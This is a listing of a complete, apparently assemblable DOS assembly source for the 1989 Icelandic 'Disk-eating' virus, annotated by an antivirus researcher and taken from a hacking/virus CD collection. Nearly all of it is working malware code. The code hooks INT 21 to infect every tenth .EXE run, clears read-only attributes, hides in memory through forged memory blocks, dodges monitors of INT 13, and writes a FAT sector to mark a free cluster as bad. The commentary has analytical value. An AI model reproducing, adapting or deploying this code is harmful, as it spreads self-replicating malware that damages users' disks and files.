home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ICE1.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  17KB  |  559 lines

  1. ;       THE ICELANDIC "DISK-CRUNCHING" VIRUS
  2. ;
  3. ;       Another possible name for this virus might be "One-in-ten", since
  4. ;       it tries to infect every tenth program run. The Icelandic name for
  5. ;       this virus ("Diskaetuvirus") translates to "Disk-eating virus"
  6. ;
  7. ;       It was first located at one site in mid-June '89. It has since then
  8. ;       been found at a few other places, but is quite rare yet. So far it
  9. ;       does not seem to have spread to any other country.
  10. ;
  11. ;       Disassembly done in June/July '89.
  12. ;
  13. ;       The author of this program is unknown, but it appears to be of
  14. ;       Icelandic origin.
  15. ;
  16. ;       All comments in this file were added by Fridrik Skulason,
  17. ;       University of Iceland/Computing Services.
  18. ;
  19. ;       INTERNET:     frisk@rhi.hi.is
  20. ;       UUCP:         ...mcvax!hafro!rhi!frisk
  21. ;       BIX:          FRISK
  22. ;
  23. ;       To anyone who obtains this file - please be careful with it, I
  24. ;       would not like to see this virus be distributed too much. The code
  25. ;       is very clear, and the virus is quite well written. It would be VERY
  26. ;       easy to modify it to do something really harmful.
  27. ;
  28. ;       A short description of the virus:
  29. ;
  30. ;       It only infects .EXE files. Infected files grow by 656 to 671
  31. ;       bytes, and the length of the infected file MOD 16 will always be 0.
  32. ;       The virus attaches itself to the end of the programs it infects.
  33. ;
  34. ;       When an infected file is run, the virus copies itself to top of
  35. ;       free memory, and modifies the memory blocks, in order to hide from
  36. ;       memory mapping programs. Some programs may overwrite this area,
  37. ;       causing the computer to crash.
  38. ;
  39. ;       The virus does nothing if some other program has hooked INT 13
  40. ;       before it is run. This is probably done to avoid detection by
  41. ;       protection programs, but it also means that many ordinary
  42. ;       programs like SideKick and disk cache software will disable it.
  43. ;       Even the PRINT command will disable the virus. This reduces the
  44. ;       spread of the virus, but also greatly reduces the possibility that
  45. ;       the virus will be detected.
  46. ;
  47. ;       The virus will hook INT 21H and when function 4B (EXEC) is called
  48. ;       it sometimes will infect the program being run. It will check every
  49. ;       tenth program that is run for infection, and if it is not already
  50. ;       infected, it will be.
  51. ;
  52. ;       The virus will remove the Read-Only attribute before trying to
  53. ;       infect programs.
  54. ;
  55. ;       Infected files can be easily recognized, since they always end in
  56. ;       4418,5F19.
  57. ;
  58. ;       To check for system infection, a byte at 0:37F is used - if it
  59. ;       contains FF the virus is installed in memory.
  60. ;
  61. ;       This virus is slightly harmful, but does no serious damage.
  62. ;       On floppy-only, or machines with 10Mbyte hard disks it will do
  63. ;       no damage at all, but on machines with larger hard disks it will
  64. ;       select one unused entry in the FAT table, and mark it as bad, when it
  65. ;       infects a file. Since the virus only modifies the first copy of the
  66. ;       FAT, a quick fix is simply to copy the second table over the first.
  67. ;       This is the only "mistake" I have found in this virus. It appears
  68. ;       to be very well written - What a shame the programmer did not use
  69. ;       his abilities for something more constructive.
  70. ;
  71. ;       This file was created in the following way: I wrote a small program,
  72. ;       that did nothing but write "Hello world!" and ran it several times,
  73. ;       until it became infected. I then diassembled the program, changed
  74. ;       it into an .ASM file, and worked on it until this file, when
  75. ;       assembled, produced the same file as the original infected one.
  76. ;
  77. ;       (Or almost the same - the checksum in the header is different).
  78. ;
  79. VIRSIZ  EQU     128
  80.  
  81.         ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
  82. ;
  83. ;       This is the original program.
  84. ;
  85. _TEXT1  SEGMENT PARA PUBLIC 'CODE'
  86. _START  DB      0b4H,09H
  87.         PUSH    CS
  88.         POP     DS
  89.         MOV     DX,OFFSET STRING
  90.         INT     21H
  91.         MOV     AX,4C00H
  92.         INT     21H
  93. STRING  DB      "Hello world!",0dh,0ah,"$"
  94.  _TEXT1 ENDS
  95.  
  96. _TEXT SEGMENT PARA PUBLIC 'CODE'
  97.  
  98. ;
  99. ;       The virus is basically divided in three parts.
  100. ;
  101. ;       1. The main program - run when an infected program is run.
  102. ;          It will check if the system is already infected, and if not
  103. ;          it will install the virus.
  104. ;
  105. ;       2. The new INT 21 handler. It will look for EXEC calls, and
  106. ;          (sometimes) infect the program being run.
  107. ;
  108. ;       3. The damage routine. It will select one unused cluster and mark it
  109. ;          as bad.
  110. ;
  111. VIRUS   PROC FAR
  112. ;
  113. ;       This is a fake MCB
  114. ;
  115.         DB      'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
  116. ;
  117. ;       The virus starts by pushing the original start address on the stack,
  118. ;       so it can transfer control there when finished.
  119. ;
  120. LABEL1: SUB     SP,4
  121.         PUSH    BP
  122.         MOV     BP,SP
  123.         PUSH    AX
  124.         MOV     AX,ES
  125. ;
  126. ;       Put the the original CS on the stack. The ADD AX,data instruction
  127. ;       is modified by the virus when it infects other programs.
  128. ;
  129.         DB      05H
  130. ORG_CS  DW      0010H
  131.         MOV     [BP+4],AX
  132. ;
  133. ;       Put the the original IP on the stack. This MOV [BP+2],data instruction
  134. ;       is modified by the virus when it infects other programs.
  135. ;
  136.         DB      0C7H,46H,02H
  137. ORG_IP  DW      0000H
  138. ;
  139. ;       Save all registers that are modified.
  140. ;
  141.         PUSH    ES
  142.         PUSH    DS
  143.         PUSH    BX
  144.         PUSH    CX
  145.         PUSH    SI
  146.         PUSH    DI
  147. ;
  148. ;       Check if already installed. Quit if so.
  149. ;
  150.         XOR     AX,AX
  151.         MOV     ES,AX
  152.         CMP     ES:[37FH],BYTE PTR 0FFH
  153.         JNE     L1
  154. ;
  155. ;       Restore all registers and return to the original program.
  156. ;
  157. EXIT:   POP     DI
  158.         POP     SI
  159.         POP     CX
  160.         POP     BX
  161.         POP     DS
  162.         POP     ES
  163.         POP     AX
  164.         POP     BP
  165.         RET
  166. ;
  167. ;       Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
  168. ;       program is monitoring int 13, and quit.
  169. ;
  170. L1:     MOV     AX,ES:[4EH]
  171.         CMP     AX,0070H
  172.         JE      L2
  173.         CMP     AX,0F000H
  174.         JNE     EXIT
  175. ;
  176. ;       Set the installation flag, so infected programs run later will
  177. ;       recognize the infection.
  178. ;
  179. L2:     MOV     ES:[37FH],BYTE PTR 0FFH
  180. ;
  181. ;       The virus tries to hide from detection by modifying the memory block it
  182. ;       uses, so it seems to be a block that belongs to the operating system.
  183. ;
  184. ;       It looks rather weird, but it seems to work.
  185. ;
  186.         MOV     AH,52H
  187.         INT     21H
  188.         MOV     AX,ES:[BX-2]
  189.         MOV     ES,AX
  190.         ADD     AX,ES:[0003]
  191.         INC     AX
  192.         INC     AX
  193.         MOV     CS:[0001],AX
  194. ;
  195. ;       Next, the virus modifies the memory block of the infected program.
  196. ;       It is made smaller, and no longer the last block.
  197. ;
  198.         MOV     BX,DS
  199.         DEC     BX
  200.         MOV     DS,BX
  201.         MOV     AL,'M'
  202.         MOV     DS:[0000],AL
  203.         MOV     AX,DS:[0003]
  204.         SUB     AX,VIRSIZ
  205.         MOV     DS:[0003],AX
  206.         ADD     BX,AX
  207.         INC     BX
  208. ;
  209. ;       Then the virus moves itself to the new block. For some reason 2000
  210. ;       bytes are transferred, when 656 would be enough. Maybe the author just
  211. ;       wanted to leave room for future expansions.
  212. ;
  213.         MOV     ES,BX
  214.         XOR     SI,SI
  215.         XOR     DI,DI
  216.         PUSH    CS
  217.         POP     DS
  218.         MOV     CX,2000
  219.         CLD
  220.         REP     MOVSB
  221. ;
  222. ;       The virus then transfers control to the new copy of itself.
  223. ;
  224.         PUSH    ES
  225.         MOV     AX,OFFSET L3
  226.         PUSH    AX
  227.         RET
  228. ;
  229. ;       The main program modifies INT 21 next and finally returns to the
  230. ;       original program. The original INT 21 vector is stored inside the
  231. ;       program so a JMP [OLD INT21] instruction can be used.
  232. ;
  233. L3:     XOR     AX,AX
  234.         MOV     ES,AX
  235.         MOV     AX,ES:[0084H]
  236.         MOV     CS:[OLD21],AX
  237.         MOV     AX,ES:[0086H]
  238.         MOV     CS:[OLD21+2],AX
  239.         MOV     AX,CS
  240.         MOV     ES:[0086H],AX
  241.         MOV     AX,OFFSET NEW21
  242.         MOV     ES:[0084H],AX
  243.         JMP     EXIT
  244. VIRUS   ENDP
  245. ;
  246. ;       This is the INT 21 replacement. It only does something in the case
  247. ;       of an EXEC call.
  248. ;
  249. NEW21   PROC FAR
  250.         CMP     AH,4BH
  251.         JE      L5
  252. L4:     DB      0EAH
  253. OLD21   DW      0,0
  254. ;
  255. ;       Only attack every tenth program run.
  256. ;
  257. L5:     DEC     CS:[COUNTER]
  258.         JNE     L4
  259.         MOV     CS:[COUNTER],10
  260. ;
  261. ;       Save all affected registers.
  262. ;
  263.         PUSH    AX
  264.         PUSH    BX
  265.         PUSH    CX
  266.         PUSH    DX
  267.         PUSH    SI
  268.         PUSH    DS
  269. ;
  270. ;       Search for the file name extension ...
  271. ;
  272.         MOV     BX,DX
  273. L6:     INC     BX
  274.         CMP     BYTE PTR [BX],'.'
  275.         JE      L8
  276.         CMP     BYTE PTR [BX],0
  277.         JNE     L6
  278. ;
  279. ;       ... and quit unless it starts with "EX".
  280. ;
  281. L7:     POP     DS
  282.         POP     SI
  283.         POP     DX
  284.         POP     CX
  285.         POP     BX
  286.         POP     AX
  287.         JMP     L4
  288. L8:     INC     BX
  289.         CMP     WORD PTR [BX],5845H
  290.         JNE     L7
  291. ;
  292. ;       When an .EXE file is found, the virus starts by turning off
  293. ;       the read-only attribute. The read-only attribute is not restored
  294. ;       when the file has been infected.
  295. ;
  296.         MOV     AX,4300H                ; Get attribute
  297.         INT     21H
  298.         JC      L7
  299.         MOV     AX,4301H                ; Set attribute
  300.         AND     CX,0FEH
  301.         INT     21H
  302.         JC      L7
  303. ;
  304. ;       Next, the file is examined to see if it is already infected.
  305. ;       The signature (4418 5F19) is stored in the last two words.
  306. ;
  307.         MOV     AX,3D02H                ; Open / write access
  308.         INT     21H
  309.         JC      L7
  310.         MOV     BX,AX                   ; file handle in BX
  311.         PUSH    CS                      ; now DS is no longer needed
  312.         POP     DS
  313. ;
  314. ;       The header of the file is read in at [ID+8]. The virus then
  315. ;       modifies itself, according to the information stored in the
  316. ;       header. (The original CS and IP addressed are stored).
  317. ;
  318.         MOV     DX,OFFSET ID+8
  319.         MOV     CX,1CH
  320.         MOV     AH,3FH
  321.         INT     21H
  322.         JC      L9
  323.         MOV     AX,DS:ID[1CH]
  324.         MOV     DS:[ORG_IP],AX
  325.         MOV     AX,DS:ID[1EH]
  326.         ADD     AX,10H
  327.         MOV     DS:[ORG_CS],AX
  328. ;
  329. ;       Next the read/write pointer is moved to the end of the file-4,
  330. ;       and the last 4 bytes read. They are compared to the signature,
  331. ;       and if equal nothing happens.
  332. ;
  333.         MOV     AX,4202H
  334.         MOV     CX,-1
  335.         MOV     DX,-4
  336.         INT     21H
  337.         JC      L9
  338.         ADD     AX,4
  339.         MOV     DS:[LEN_LO],AX
  340.         JNC     L8A
  341.         INC     DX
  342. L8A:    MOV     DS:[LEN_HI],DX
  343.  
  344.         MOV     AH,3FH
  345.         MOV     CX,4
  346.         MOV     DX,OFFSET ID+4
  347.         INT     21H
  348.         JNC     L11
  349. L9:     MOV     AH,3EH
  350.         INT     21H
  351. L10:    JMP     L7
  352. ;
  353. ;       Compare to 4418,5F19
  354. ;
  355. L11:    MOV     SI,OFFSET ID+4
  356.         MOV     AX,[SI]
  357.         CMP     AX,4418H
  358.         JNE     L12
  359.         MOV     AX,[SI+2]
  360.         CMP     AX,5F19H
  361.         JE      L9
  362. ;
  363. ;       The file is not infected, so the next thing the virus does is
  364. ;       infecting it. First it is padded so the length becomes a multiple
  365. ;       of 16 bytes. Tis is probably done so the virus code can start at a
  366. ;       paragraph boundary.
  367. ;
  368. L12:    MOV     AX,DS:[LEN_LO]
  369.         AND     AX,0FH
  370.         JZ      L13
  371.         MOV     CX,16
  372.         SUB     CX,AX
  373.         ADD     DS:[LEN_LO],CX
  374.         JNC     L12A
  375.         INC     DS:[LEN_HI]
  376. L12A:   MOV     AH,40H
  377.         INT     21H
  378.         JC      L9
  379. ;
  380. ;       Next the main body of the virus is written to the end.
  381. ;
  382. L13:    XOR     DX,DX
  383.         MOV     CX,OFFSET ID + 4
  384.         MOV     AH,40H
  385.         INT     21H
  386.         JC      L9
  387. ;
  388. ;       Next the .EXE file header is modified:
  389. ;
  390. ;       First modify initial IP
  391. ;
  392.         MOV     AX,OFFSET LABEL1
  393.         MOV     DS:ID[1CH],AX
  394. ;
  395. ;       Modify starting CS = Virus CS. It is computed as:
  396. ;
  397. ;       (Original length of file+padding)/16 - Start of load module
  398. ;
  399.         MOV     DX,DS:[LEN_HI]
  400.         MOV     AX,DS:[LEN_LO]
  401.         SHR     DX,1
  402.         RCR     AX,1
  403.         SHR     DX,1
  404.         RCR     AX,1
  405.         SHR     DX,1
  406.         RCR     AX,1
  407.         SHR     DX,1
  408.         RCR     AX,1
  409.         SUB     AX,DS:ID[10H]
  410.         MOV     DS:ID[1EH],AX
  411. ;
  412. ;       Modify length mod 512
  413. ;
  414.         ADD     DS:[LEN_LO],OFFSET ID+4
  415.         JNC     L14
  416.         INC     DS:[LEN_HI]
  417. L14:    MOV     AX,DS:[LEN_LO]
  418.         AND     AX,511
  419.         MOV     DS:ID[0AH],AX
  420. ;
  421. ;       Modify number of blocks used
  422. ;
  423.         MOV     DX,DS:[LEN_HI]
  424.         MOV     AX,DS:[LEN_LO]
  425.         ADD     AX,511
  426.         JNC     L14A
  427.         INC     DX
  428. L14A:   MOV     AL,AH
  429.         MOV     AH,DL
  430.         SHR     AX,1
  431.         MOV     DS:ID[0CH],AX
  432. ;
  433. ;       Finally the modified header is written back to the start of the
  434. ;       file.
  435. ;
  436. QQQ:    MOV     AX,4200H
  437.         XOR     CX,CX
  438.         XOR     DX,DX
  439.         INT     21H
  440.         JC      ENDIT
  441.         MOV     AH,40H
  442.         MOV     DX,OFFSET ID+8
  443.         MOV     CX,1CH
  444.         INT     21H
  445.         JC      ENDIT
  446.         MOV     AH,3EH
  447.         INT     21H
  448.         JNC     DAMAGE
  449. ;
  450. ;       Infection is finished - close the file and execute it
  451. ;
  452. ENDIT:  JMP     L9
  453. NEW21   ENDP
  454. ;
  455. ;       The damage routine. As before noted, it will only do damage on
  456. ;       systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
  457. ;
  458. TEMP    DW      0
  459. ;
  460. ;       Start by getting some information about the current drive, like size
  461. ;       of the FAT etc. Then compute the total number of sectors, and quit
  462. ;       unless it is greater than 20740. This is probably done since larger
  463. ;       disks use 16 bit FAT entries, instead of 12, which makes life easier
  464. ;       for the programmer.
  465. ;
  466. DAMAGE: MOV     AH,32H
  467.         MOV     DL,0
  468.         INT     21H
  469.         CMP     AL,0FFH
  470.         JE      L21
  471.         XOR     AX,AX
  472.         MOV     AL,[BX+4]
  473.         INC     AX
  474.         MOV     CS:[TEMP],AX
  475.         MOV     AX,[BX+0DH]
  476.         DEC     AX
  477.         MUL     CS:[TEMP]
  478.         ADD     AX,[BX+0BH]
  479.         JNC     L15A
  480.         INC     DX
  481. L15A:   CMP     DX,0
  482.         JNE     L15B
  483.         CMP     AX,20740
  484.         JBE     L21
  485. ;
  486. ;       Check if DOS version is 4.0 or greater. If so, use a 16 bit value
  487. ;       for numbers of sectors in the FAT, otherwise use a 8 bit entry.
  488. ;
  489. L15B:   PUSH    BX
  490.         MOV     AH,30H
  491.         INT     21H
  492.         POP     BX
  493.         CMP     AL,4
  494.         JAE     L15
  495.         XOR     AX,AX
  496.         MOV     AL,[BX+0FH]
  497.         JMP     SHORT L16
  498. L15:    MOV     AX,[BX+0FH]
  499. L16:    ADD     AX,[BX+6]
  500.         DEC     AX
  501.         MOV     DX,AX
  502.         MOV     AL,[BX]
  503. ;
  504. ;       Read the last sector in the first copy of the FAT. Search backwards
  505. ;       for an unused entry. If none is found, read the sector before that
  506. ;       and so on. If no free entry is found on the entire disk then quit.
  507. ;
  508. L20:    MOV     CX,1
  509.         MOV     BX,OFFSET ID+4
  510.         PUSH    CS
  511.         POP     DS
  512.         PUSH    AX
  513.         PUSH    DX
  514.         INT     25H
  515.         POPF
  516.         JC      L21
  517.         POP     DX
  518.         POP     AX
  519.         MOV     SI,510
  520. L17:    MOV     BX,DS:[ID+4+SI]
  521.         CMP     BX,0000
  522.         JE      L19
  523.         CMP     SI,0000
  524.         JE      L18
  525.         DEC     SI
  526.         DEC     SI
  527.         JMP     L17
  528. L18:    DEC     DX
  529.         CMP     DX,8
  530.         JE      L21
  531.         JMP     L20
  532. ;
  533. ;       A free entry has been found. Make it look like a bad cluster, by
  534. ;       changing the 0000 value to FFF7.
  535. ;
  536. L19:    MOV     DS:[ID+4+SI],0FFF7H
  537.         MOV     CX,1
  538.         MOV     BX,OFFSET ID+4
  539.         INT     26H
  540.         POPF
  541. L21:    JMP     L7
  542.  
  543. COUNTER DB      10
  544. LEN_LO  DW      ?
  545. LEN_HI  DW      ?
  546. ID      DW      4418H,5F19H             ; The signature of the virus.
  547. ;
  548. ;       A buffer, used for data from the file.
  549. ;
  550. _TEXT   ENDS
  551.  
  552.         END LABEL1
  553. 
  554. ; ─────────────────────────────────────────────────────────────────────────
  555. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  556. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  557. ; ─────────────────────────────────────────────────────────────────────────
  558.  
  559.